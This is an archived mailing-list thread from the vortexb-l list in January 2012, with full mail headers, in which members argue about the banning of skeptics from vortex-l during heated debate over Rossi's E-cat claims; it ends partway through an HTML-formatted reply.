List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 734 Greetings Vorl, welcome to hell. Not half as bad as they say it is. Wide is the path, and easy is the way... you can check out any time you like... ...but you can... ...never... ...leave... In all... seriousness? Who's here? Roll call? Still not believing what's happened on vortex-L, yours truly, --Kyle From vortexb-l-request@eskimo.com Tue Jan 24 08:55:05 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0OGt3ZP006143; Tue, 24 Jan 2012 08:55:03 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0OGsqdk006112; Tue, 24 Jan 2012 08:54:52 -0800 Resent-Date: Tue, 24 Jan 2012 08:54:52 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Virus-Scanned: amavisd-new at proxyz16.mailnet.ptd.net From: "Jeff Fink" To: References: <019401ccda20$2b61a550$8224eff0$@com> <1327385990.53661.YahooMailClassic@web160605.mail.bf1.yahoo.com> Subject: RE: [VoB]:test Date: Tue, 24 Jan 2012 11:51:19 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 In-Reply-To: <1327385990.53661.YahooMailClassic@web160605.mail.bf1.yahoo.com> Thread-Index: AczaYEg0ALdp7Pk+R/myY74Nc9nLRAAWAopw X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 Resent-Message-ID: <1bNwM.A.WfB.cJuHPB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4494 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 735 What happened on vortex-l? Jeff -----Original Message----- From: Kyle Mcallister [mailto:kyle_mcallister@yahoo.com] Sent: Tuesday, January 24, 2012 1:20 AM To: vortexb-l@eskimo.com Subject: RE: [VoB]:test Greetings Vorl, welcome to hell. Not half as bad as they say it is. Wide is the path, and easy is the way... you can check out any time you like... ...but you can... ...never... ...leave... In all... seriousness? Who's here? Roll call? Still not believing what's happened on vortex-L, yours truly, --Kyle From vortexb-l-request@eskimo.com Tue Jan 24 09:29:25 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0OHTN5i016862; Tue, 24 Jan 2012 09:29:23 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0OHTMPk016855; Tue, 24 Jan 2012 09:29:22 -0800 Resent-Date: Tue, 24 Jan 2012 09:29:22 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AocGAGXoHk/O+Ihr/2dsb2JhbABCnWSRUoFyAQEBAQIBAQEBN0QHBAgDEQQBASgHRQEJCAUUh3y4CIkKAQYDBgEFBgIBBAcRBgUHAgMBgk06Wh4XgxwEiD+MXYsEh2k X-IronPort-AV: E=Sophos;i="4.71,563,1320642000"; d="scan'208";a="158530680" Date: Tue, 24 Jan 2012 12:26:01 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Subject: Re: [VoB]:test Message-Id: <20120124122601.c15a0a12.vorl.bek@antichef.com> In-Reply-To: References: <019401ccda20$2b61a550$8224eff0$@com> <1327385990.53661.YahooMailClassic@web160605.mail.bf1.yahoo.com> X-Mailer: Sylpheed 3.1.0 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: <4V44kD.A.SHE.xpuHPB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4495 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 736 > What happened on vortex-l? The intelligent, thoughtful, kindly skeptics were booted out, leaving the discussions in the place like those on overunity.com. > > Jeff > > -----Original Message----- > From: Kyle Mcallister [mailto:kyle_mcallister@yahoo.com] > Sent: Tuesday, January 24, 2012 1:20 AM > To: vortexb-l@eskimo.com > Subject: RE: [VoB]:test > > Greetings Vorl, welcome to hell. Not half as bad as they say it > is. Wide is the path, and easy is the way... you can check out > any time you like... ...but you can... > ...never... > ...leave... > > In all... seriousness? Who's here? Roll call? > > Still not believing what's happened on vortex-L, yours truly, > --Kyle > From vortexb-l-request@eskimo.com Tue Jan 24 09:48:11 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q0OHm6Sm010846; Tue, 24 Jan 2012 09:48:06 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q0OHm0JO010728; Tue, 24 Jan 2012 09:48:00 -0800 Resent-Date: Tue, 24 Jan 2012 09:48:00 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=GntAklyzw9sbSxQH+uAtIf8jS1bqKPxg1kMjgb7MgHo=; b=oNeCP6Js5E1dMLOxUK08co/+ghPA580XcnlvVaMDOi6VKKtv5S+mo3b8ouAZsWPSRf kgV/9w/P9/IpkiBlkHjts5P44pS8Q2xhDa5iUTNJOwJ5plSBTe7nl9HMQsscxInldv8t S+MDfm4YYpJ4mgd2JJopYJ3CqypPGslLPBKbo= MIME-Version: 1.0 In-Reply-To: References: <019401ccda20$2b61a550$8224eff0$@com> <1327385990.53661.YahooMailClassic@web160605.mail.bf1.yahoo.com> Date: Tue, 24 Jan 2012 12:44:33 -0500 Message-ID: Subject: Re: [VoB]:test From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4496 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 737 On Tue, Jan 24, 2012 at 11:51 AM, Jeff Fink wrote: > What happened on vortex-l? The kudzu was agent oranged. T From vortexb-l-request@eskimo.com Tue Jan 24 10:19:00 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q0OIIuov001144; Tue, 24 Jan 2012 10:18:56 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q0OIIt1W001130; Tue, 24 Jan 2012 10:18:55 -0800 Resent-Date: Tue, 24 Jan 2012 10:18:55 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=psWcb5N98119OaOi9bjyg15qVElTHlpKZyP+LUQnThs= c=1 sm=1 a=yUnIBFQkZM0A:10 a=kj9zAlcOel0A:10 a=t+194oyOKel6p+o+czWDVA==:17 a=cq5XInVMAAAA:8 a=yTIk75XiAAAA:8 a=sTYsksCvAAAA:8 a=CjxXgO3LAAAA:8 a=qUUzx5xz3BW_WgyQxVMA:9 a=6Ld5F_272Bfj59YbRYoA:7 a=CjuIK1q_8ugA:10 a=jLI_cmK-5kUA:10 a=JmanU6s_A0cA:10 a=8PGfyiCYVrkA:10 a=rC2wZJ5BpNYA:10 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: <019401ccda20$2b61a550$8224eff0$@com> <1327385990.53661.YahooMailClassic@web160605.mail.bf1.yahoo.com> <20120124122601.c15a0a12.vorl.bek@antichef.com> In-Reply-To: <20120124122601.c15a0a12.vorl.bek@antichef.com> Subject: RE: [VoB]:test Date: Tue, 24 Jan 2012 10:15:28 -0800 Message-ID: <00a301ccdac4$2734aaf0$759e00d0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: AczavUPqfq7EdD0MRCaWw4xAmgBMWwABZ4NA Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4497 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 738 'Intelligent', perhaps. MY was... 'thoughtful', absolutely not; Eff and Shaun were engaging in ad hominem attacks every day; and MY had no respect for the fact that 95% of her posts were repetitious postings about Rossi's past, contradictory statements, etc... ALL OF WHICH HAD BEEN KNOWN MONTHS BEFORE SHE GOT THERE... out of the more than 900 postings she made in only 2 months, MAYBE 10 or 20 had any real USEFUL or NEW info or insights. 'Kindly'; absolutely not. Where the hell have you been Vorl... Eff and Shaun were anything but 'kindly'... Mary was just plain old self-righteous and arrogant. As evidenced by the postings today, there is PLENTY of RATIONAL skepticism on the forum without the trolls, and the signal to noise ratio is much higher. -mark -----Original Message----- From: Vorl Bek [mailto:vorl.bek@antichef.com] Sent: Tuesday, January 24, 2012 9:26 AM To: vortexb-l@eskimo.com Subject: Re: [VoB]:test > What happened on vortex-l? The intelligent, thoughtful, kindly skeptics were booted out, leaving the discussions in the place like those on overunity.com. > > Jeff > > -----Original Message----- > From: Kyle Mcallister [mailto:kyle_mcallister@yahoo.com] > Sent: Tuesday, January 24, 2012 1:20 AM > To: vortexb-l@eskimo.com > Subject: RE: [VoB]:test > > Greetings Vorl, welcome to hell. Not half as bad as they say it is. > Wide is the path, and easy is the way... you can check out any time > you like... ...but you can... > ...never... > ...leave... > > In all... seriousness? Who's here? Roll call? > > Still not believing what's happened on vortex-L, yours truly, --Kyle > From vortexb-l-request@eskimo.com Tue Jan 24 12:38:18 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0OKcFNU004772; Tue, 24 Jan 2012 12:38:15 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0OKc9Vd004737; Tue, 24 Jan 2012 12:38:09 -0800 Resent-Date: Tue, 24 Jan 2012 12:38:09 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=subject:references:from:content-type:x-mailer:in-reply-to :message-id:date:to:content-transfer-encoding:mime-version; bh=p5w01cZ49QfyC31kKg46P2y4MlEbYAbzSW/e0miVhg4=; b=VOoU0ab08CDgPCtXGYeTqgHMWKnxMDe9kdJfaqutpLk4TbCVJSuiQ626bJa+2QxVPJ 23C60e3DX4fD8BdlStR2BGPUritwdszQlN+8pHsRRVOK2eWDrES90/Ixyg3zeKaBq2rJ ncMN8UyMoBAezdV6HAg2WRBljMvyTXnf125ls= Subject: Re: [VoB]:test References: <019401ccda20$2b61a550$8224eff0$@com> <1327385990.53661.YahooMailClassic@web160605.mail.bf1.yahoo.com> <20120124122601.c15a0a12.vorl.bek@antichef.com> From: Charles Hope Content-Type: text/plain; charset=us-ascii X-Mailer: iPhone Mail (9A405) In-Reply-To: <20120124122601.c15a0a12.vorl.bek@antichef.com> Message-Id: <2F0272F0-DA3C-4192-8E62-4204A88F4B7B@gmail.com> Date: Tue, 24 Jan 2012 15:34:30 -0500 To: "vortexb-l@eskimo.com" Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (1.0) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4498 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 739 Cude remains. On Jan 24, 2012, at 12:26, Vorl Bek wrote: >> What happened on vortex-l? > > The intelligent, thoughtful, kindly skeptics were booted > out, leaving the discussions in the place like those on > overunity.com. > > > > >> >> Jeff >> >> -----Original Message----- >> From: Kyle Mcallister [mailto:kyle_mcallister@yahoo.com] >> Sent: Tuesday, January 24, 2012 1:20 AM >> To: vortexb-l@eskimo.com >> Subject: RE: [VoB]:test >> >> Greetings Vorl, welcome to hell. Not half as bad as they say it >> is. Wide is the path, and easy is the way... you can check out >> any time you like... ...but you can... >> ...never... >> ...leave... >> >> In all... seriousness? Who's here? Roll call? >> >> Still not believing what's happened on vortex-L, yours truly, >> --Kyle >> > From vortexb-l-request@eskimo.com Tue Jan 24 12:51:24 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0OKpMn3008146; Tue, 24 Jan 2012 12:51:22 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0OKpLKx008136; Tue, 24 Jan 2012 12:51:21 -0800 Resent-Date: Tue, 24 Jan 2012 12:51:21 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=JYQIUidRAECiNa+jsiaNMIhYElg3H2WoMKCJIGO75f4= c=1 sm=1 a=yUnIBFQkZM0A:10 a=kj9zAlcOel0A:10 a=t+194oyOKel6p+o+czWDVA==:17 a=pGLkceISAAAA:8 a=yTIk75XiAAAA:8 a=cq5XInVMAAAA:8 a=sTYsksCvAAAA:8 a=CjxXgO3LAAAA:8 a=UoBLbjr5txf8WOpLLLoA:9 a=CjuIK1q_8ugA:10 a=jLI_cmK-5kUA:10 a=MSl-tDqOz04A:10 a=8PGfyiCYVrkA:10 a=JmanU6s_A0cA:10 a=rC2wZJ5BpNYA:10 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: <019401ccda20$2b61a550$8224eff0$@com> <1327385990.53661.YahooMailClassic@web160605.mail.bf1.yahoo.com> <20120124122601.c15a0a12.vorl.bek@antichef.com> <2F0272F0-DA3C-4192-8E62-4204A88F4B7B@gmail.com> In-Reply-To: <2F0272F0-DA3C-4192-8E62-4204A88F4B7B@gmail.com> Subject: RE: [VoB]:test Date: Tue, 24 Jan 2012 12:47:54 -0800 Message-ID: <00d201ccdad9$72b53b60$581fb220$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acza16Ik38CNTevTSISo6MM0xCHjtgAAMQHg Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4499 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 740 Absolutely Charles! Thx for pointing that out... Cude says what he has to say, many times backed up by calculations and refs, focuses on the science/technology/data as opposed to the personalities (MY, Eff, Shaun), has taken time to read the LENR papers that he was referred to (MY doesn't care to), and doesn't barrage us with endless repetitive postings (as MY did)... The FACT that Cude is a MUCH more effective skeptic, and has ***NOT*** been banned, is all the evidence you need to realize that the forum WELCOMES skeptical contributions, SO LONG AS THEY PLAY BY THE RULES! Those banned did not, as clearly shown by others and Mr. Beaty... -Mark -----Original Message----- From: Charles Hope [mailto:lookslikeiwasright@gmail.com] Sent: Tuesday, January 24, 2012 12:35 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:test Cude remains. On Jan 24, 2012, at 12:26, Vorl Bek wrote: >> What happened on vortex-l? > > The intelligent, thoughtful, kindly skeptics were booted out, leaving > the discussions in the place like those on overunity.com. > > > > >> >> Jeff >> >> -----Original Message----- >> From: Kyle Mcallister [mailto:kyle_mcallister@yahoo.com] >> Sent: Tuesday, January 24, 2012 1:20 AM >> To: vortexb-l@eskimo.com >> Subject: RE: [VoB]:test >> >> Greetings Vorl, welcome to hell. Not half as bad as they say it is. >> Wide is the path, and easy is the way... you can check out any time >> you like... ...but you can... >> ...never... >> ...leave... >> >> In all... seriousness? Who's here? Roll call? >> >> Still not believing what's happened on vortex-L, yours truly, --Kyle >> > From vortexb-l-request@eskimo.com Tue Jan 24 16:00:27 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0P00LJ1021523; Tue, 24 Jan 2012 16:00:25 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0P00K5D021513; Tue, 24 Jan 2012 16:00:20 -0800 Resent-Date: Tue, 24 Jan 2012 16:00:20 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 543904.46590.bm@omp1031.mail.bf1.yahoo.com DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1327449412; bh=Pq3DG/0zqq7uQpLp/QDMBy6DZU4CvWTpwT3yEc2v0L4=; h=X-YMail-OSG:Received:X-Mailer:Message-ID:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=iWxI60QqsI5xzkUkPMAd8yOb+6yCGiJIipW1Du8PkyLdA1DGeqPZy4yIJvwS1BI0JyCanVNp701i5LZcjBQCs+hbxKx9ZmewnlJX1mlzjUW3P6rMCBhAZa+vvQDvUGzlTx4Q6RMHX1Mi6QkMVITVOSmelryhsV9/Dwty3LHhJNA= DomainKey-Signature:a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Message-ID:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=d6v3FhlNhXmTaGo8HzVALK4kFU6nFYBp7M+x+QiArIjvnTpf2nXXHMmmxTxuZdgYnBeERu1wFDIiBk9VaT/+TcyngcPLgX3ziyi2I8bNag3mMWfURvhR7kOcT8dmIppFd+0QmyCpZQ6tp1qkXtEACTyt4WTNuwn3kL7J3GbZdtI=; X-YMail-OSG: 6BC.6DMVM1l__LxYkBBy_9_Rqy697UflNytavfEHtBKqFfK Mt.lo6y.Tcw8lfMWSb6.5LVEZNKqYRO2N3O_6JxtWLCHnqfccIAdDtSZ3WXd AZZghOT7W0klkOxBeCZwR9NKAP9FvzZWONCZxG7nG6.jDJv_e_CoFp1fwl6X 7BfkT0EB_JOiO9mAz4pWn_65CZIJQbOeP3wFKxhR.d5ybqtT6z71w2leKc7l f3P0yVEcZmi6MyxJa3F4_SC7F9CwB6Pcfus9nPpNzFsVrTz7bFQuGmW6wnKw ZWnl65DnJ1DSUUiyEW2XZ6X3rUc7EihV7_0JiKgsZpEflgoAgkF1SgUDjrIv NGpoh0.HGLayWHYRPdIMuifo0ApXwaPkNZoHQ8IjKOnw20CwnOCiHPIbI95S AjpeBG0kxxNi142yZc2kZrGTHtNdp9uRgu5QeoTcl7Fk08AeMX5w7zUP2_S_ l18qVR7Egr2zkHZOPWZ8kmoiFFgbmSDUxR5F6NyYQb3nNYngWsDVI5cHZ X-Mailer: YahooMailClassic/15.0.4 YahooMailWebService/0.8.116.331537 Message-ID: <1327449412.88846.YahooMailClassic@web160601.mail.bf1.yahoo.com> Date: Tue, 24 Jan 2012 15:56:52 -0800 (PST) From: Kyle Mcallister Subject: RE: [VoB]:test To: vortexb-l@eskimo.com In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Resent-Message-ID: <9QDJ-C.A.EQF.UY0HPB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4500 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 741 --- On Tue, 1/24/12, Jeff Fink wrote: > > What happened on vortex-l? > > Jeff It rather depends on who you ask. I will again preface this to say, I do not know if Rossi has something or not. It would be nice if it turns out he does. >From my point of view, all hell basically let loose over the past few days. For a while, ad hominems (banned, see below) were being thrown around like candy, on BOTH SIDES, and if anyone likes to deny that, go to the archives, read them, and cry. It's there in black and white plain text. Then this guy Eff Wivakeef showed up and had a bone to pick with Greg Watson, who it seems probably was Aussie E-cat Guy. Greg was the old SMOT guy from back in the good old days of Freenrg-L before it basically died, and a lot of people got excited over this gadget. It came to nothing, a lot of money was taken, etc. But that's beside the point. Eff Wivakeef went beyond the pale with some of the stuff he started posting. I couldn't even call it a personal crusade, it was pretty wild. Plenty of vulgarity thrown in for good measure. He got killfiled by plenty, and this I think was a warranted killfiling, rather than what in other cases may be termed something very different. When he showed up, things started to get bad. Mary Yugo had been posting for a while, and ruffled plenty of feathers. Whether or not she was right isn't the point; plenty of comments by the pro-Rossi side were equally beyond the pale. Half the time it sounded like a bunch of screaming babies. Maybe accusing Rossi of fraud is going to far on Vortex. Ok. Calling someone a chickenshit, beating them about their sex (who here can prove she is not a female?), and screaming "idiocy/idiot...nonsense!...your stupidity...etc" is sure as hell going to far as well. Now before you go any farther reading, let me say to those who did these things, on both sides: grow up and be men. If you don't agree with something, fine. Don't agree. Leave the insults for the sports parties, locker rooms, or whatever floats your boat. As for Joshua Cude, yes, as far as I know he isn't banned yet. I don't know how long that will last. But he's been a nice target for ad hominems as well. I've talked to a few former Vortexians privately who feel the same way; most of the vitriol (save from Eff) was coming from the believer side. I'm not going to post names, so you can believe me nor not, doesn't matter. But if you choose not to, well, Jed's got a few unnamed experts to sell you. Go talk to him. You see, this blade can cut both ways. I posted, if I remember correctly, one message in November asking questions in regards to the Rossi affair. I got plenty of NASTY private responses, and when Rich Murray posted a simple, cheerful "Hear! Hear!" in reply, another poster decided it would be nice to indicate that I was part of a group which took Mary Yugo to be our cheerleader, and NO ONE addressed the points I made regarding the Rossi experiment itself. That in itself speaks volumes: those who claim to support the science and want no part of accusations, did the exact opposite! But that's all past now. Bill acted, and it is his list, and so it is done. I don't tend to think it is wrong, however, to speak my dissent. I would hope that the private message I sent him around Christmas, asking him to step in and stop the namecalling and vitriol didn't have anything to do with invoking this. If it did, I feel terrible. Science without questioning is not science, it is belief. There are those who are pro-Rossi, who are yet still scientists. Then there are those who want to believe so bad, it becomes inevitable in their mind that it must be so. 'Dissent is intolerable; we don't want to hear it. Leave us in peace, form your own discussion group. Away, blasphemer.' Exactly what the fringe science folks, of which I think I am still a part, always rallied against; the establishment says, never dissent. Never disagree, we know what is right. You fought against them, and rightly so. You wanted science, and not belief. And now, at the end, you have become what you hated most. -Kyle From vortexb-l-request@eskimo.com Tue Jan 24 16:41:58 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0P0ftAo031006; Tue, 24 Jan 2012 16:41:55 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0P0fogx030952; Tue, 24 Jan 2012 16:41:50 -0800 Resent-Date: Tue, 24 Jan 2012 16:41:50 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=ax1gevGALsl8i4F8ZZISRypr59sjVhOY0/m6VCTw3RQ=; b=URVwcU6xgW9eK2rwS2B9H+kDqiK7qk7T5XgQu1JqxYNodANO/XPE4DdPATIE8mPqB2 WmNKecwRMwKtlYKSRE+9BOA647TlccEEYeW8uR+jhCitfePi94Eny+SmHYH+9vd2G72O wfO/OFVI1f4Sa2yE4om9tjTOcs60qsAcdMGVo= MIME-Version: 1.0 In-Reply-To: <1327449412.88846.YahooMailClassic@web160601.mail.bf1.yahoo.com> References: <1327449412.88846.YahooMailClassic@web160601.mail.bf1.yahoo.com> Date: Tue, 24 Jan 2012 19:38:23 -0500 Message-ID: Subject: Re: [VoB]:test From: Jim Dickenson To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=20cf307ca00624d27704b74f7bbf Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4501 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 742 --20cf307ca00624d27704b74f7bbf Content-Type: text/plain; charset=ISO-8859-1 Hi .... Jim On Tue, Jan 24, 2012 at 6:56 PM, Kyle Mcallister wrote: > --- On Tue, 1/24/12, Jeff Fink wrote: > > > > What happened on vortex-l? > > > > Jeff > > It rather depends on who you ask. I will again preface this to say, I do > not know if Rossi has something or not. It would be nice if it turns out he > does. > > From my point of view, all hell basically let loose over the past few > days. For a while, ad hominems (banned, see below) were being thrown around > like candy, on BOTH SIDES, and if anyone likes to deny that, go to the > archives, read them, and cry. It's there in black and white plain text. > > Then this guy Eff Wivakeef showed up and had a bone to pick with Greg > Watson, who it seems probably was Aussie E-cat Guy. Greg was the old SMOT > guy from back in the good old days of Freenrg-L before it basically died, > and a lot of people got excited over this gadget. It came to nothing, a lot > of money was taken, etc. But that's beside the point. Eff Wivakeef went > beyond the pale with some of the stuff he started posting. I couldn't even > call it a personal crusade, it was pretty wild. Plenty of vulgarity thrown > in for good measure. He got killfiled by plenty, and this I think was a > warranted killfiling, rather than what in other cases may be termed > something very different. When he showed up, things started to get bad. > > Mary Yugo had been posting for a while, and ruffled plenty of feathers. > Whether or not she was right isn't the point; plenty of comments by the > pro-Rossi side were equally beyond the pale. Half the time it sounded like > a bunch of screaming babies. Maybe accusing Rossi of fraud is going to far > on Vortex. Ok. Calling someone a chickenshit, beating them about their sex > (who here can prove she is not a female?), and screaming > "idiocy/idiot...nonsense!...your stupidity...etc" is sure as hell going to > far as well. > > Now before you go any farther reading, let me say to those who did these > things, on both sides: grow up and be men. If you don't agree with > something, fine. Don't agree. Leave the insults for the sports parties, > locker rooms, or whatever floats your boat. > > As for Joshua Cude, yes, as far as I know he isn't banned yet. I don't > know how long that will last. But he's been a nice target for ad hominems > as well. I've talked to a few former Vortexians privately who feel the same > way; most of the vitriol (save from Eff) was coming from the believer side. > I'm not going to post names, so you can believe me nor not, doesn't matter. > But if you choose not to, well, Jed's got a few unnamed experts to sell > you. Go talk to him. You see, this blade can cut both ways. > > I posted, if I remember correctly, one message in November asking > questions in regards to the Rossi affair. I got plenty of NASTY private > responses, and when Rich Murray posted a simple, cheerful "Hear! Hear!" in > reply, another poster decided it would be nice to indicate that I was part > of a group which took Mary Yugo to be our cheerleader, and NO ONE addressed > the points I made regarding the Rossi experiment itself. That in itself > speaks volumes: those who claim to support the science and want no part of > accusations, did the exact opposite! > > But that's all past now. Bill acted, and it is his list, and so it is > done. I don't tend to think it is wrong, however, to speak my dissent. I > would hope that the private message I sent him around Christmas, asking him > to step in and stop the namecalling and vitriol didn't have anything to do > with invoking this. If it did, I feel terrible. > > Science without questioning is not science, it is belief. There are those > who are pro-Rossi, who are yet still scientists. Then there are those who > want to believe so bad, it becomes inevitable in their mind that it must be > so. 'Dissent is intolerable; we don't want to hear it. Leave us in peace, > form your own discussion group. Away, blasphemer.' > > Exactly what the fringe science folks, of which I think I am still a part, > always rallied against; the establishment says, never dissent. Never > disagree, we know what is right. You fought against them, and rightly so. > You wanted science, and not belief. > And now, at the end, you have become what you hated most. > > -Kyle > > --20cf307ca00624d27704b74f7bbf Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Hi .... Jim

On Tue, Jan 24, 2012 at 6:56 PM, Kyle Mcallister= <kyle_mc= allister@yahoo.com> wrote:
--- On Tue, 1/24/12, Jeff Fink <revtec@ptd.net> wrote:
>
> What happened on = vortex-l?
>
> Jeff

It rather depends on who you as= k. I will again preface this to say, I do not know if Rossi has something o= r not. It would be nice if it turns out he does.

From my point of view, all hell basically let loose over the past few d= ays. For a while, ad hominems (banned, see below) were being thrown around = like candy, on BOTH SIDES, and if anyone likes to deny that, go to the arch= ives, read them, and cry. It's there in black and white plain text.

Then this guy Eff Wivakeef showed up and had a bone to pick with Greg W= atson, who it seems probably was Aussie E-cat Guy. Greg was the old SMOT gu= y from back in the good old days of Freenrg-L before it basically died, and= a lot of people got excited over this gadget. It came to nothing, a lot of= money was taken, etc. But that's beside the point. Eff Wivakeef went b= eyond the pale with some of the stuff he started posting. I couldn't ev= en call it a personal crusade, it was pretty wild. Plenty of vulgarity thro= wn in for good measure. He got killfiled by plenty, and this I think was a = warranted killfiling, rather than what in other cases may be termed somethi= ng very different. When he showed up, things started to get bad.

